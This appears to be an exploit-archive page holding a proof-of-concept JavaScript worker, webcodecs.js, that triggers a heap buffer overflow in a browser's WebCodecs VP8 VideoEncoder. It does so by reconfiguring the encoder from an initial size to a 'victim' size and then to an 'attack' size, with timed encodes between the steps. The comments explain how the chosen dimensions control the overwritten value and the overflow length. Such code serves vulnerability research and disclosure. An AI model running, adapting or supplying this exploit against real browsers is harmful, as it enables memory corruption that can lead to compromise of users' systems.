4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / webcodecs.js JS
function reportError(e) {
  // Report error to the main thread
  console.log(e.message);
  postMessage(e.message);
}

// This determines the bounds of our write value and overwrite length
const config_init = {
  codec: "vp8",
  width: 1200,    // This value determines our maximum uint32 write value
  height: 1200,   // This value determines our maximum height aka max overflowing amount
};

// Determines the size of the allocation we are overflowing
const config_victim = {
  codec: "vp8",
  // Requirement: 307200 <= width*height
  // Requirement: config_init.width >= width
  // Requirement: config_init.height >= height
  width:  1000, // cols = ceil(width/16)
  height: 608,  // rows = ceil(height/16)
};

// Overflows the previous allocation
const config_attack = {
  codec: "vp8",
  // Requirement: 307200 > width * height.
  // Requirement: config_init.width >= width > 15
  // Requirement: config_init.height >= height
  // Requirement: ceil(config_victim.height/16) < ceil(height/16)
  width:  16,   // cols' = ceil(width/16).  Controls the u32 value we write.
  height: 720,  // rows' = ceil(height/16). Controls how far we overwrite. overwrite = rows'-rows
};

// If we switch too fast then attack fails
let config_change_timeout = 1000;

function captureAndEncode() {
  function processChunk(chunk, md) {
    console.log(md);
  };

  const init = {
    output: processChunk,
    error: reportError
  };

  // Initial init
  let encoder = new VideoEncoder(init);
  encoder.configure(config_init);

  // Dummy frame used to call encoder
  let vfInit = {format: 'NV12', timestamp: 0, codedWidth: 4, codedHeight: 2};
  let data = new Uint8Array([
    1, 2, 3, 4, 5, 6, 7, 8,  // y
    1, 2, 3, 4,              // uv
  ]);

  async function initialize_encoder() {
    let frame = new VideoFrame(data, vfInit);
    // Use config_init to allocate the bounds
    encoder.encode(frame, { keyFrame: true });
    frame.close();
    vfInit.timestamp += 100;
    // Prepare our victim allocation
    encoder.configure(config_victim);
    setTimeout(prepare_victim, config_change_timeout);
  };

  async function prepare_victim() {
    let frame = new VideoFrame(data, vfInit);
    // Ensure our victim is allocated
    encoder.encode(frame, { keyFrame: true });
    frame.close();
    vfInit.timestamp += 100;
    // Now here's our attacking config
    encoder.configure(config_attack);
    setTimeout(overflow, config_change_timeout);
  };

  async function overflow() {
    let frame = new VideoFrame(data, vfInit);
    // Overwrite the victim allocation
    encoder.encode(frame, { keyFrame: true });
    frame.close();
  };

  setTimeout(initialize_encoder, config_change_timeout);
}

self.onmessage = async function(e) {
  captureAndEncode();
}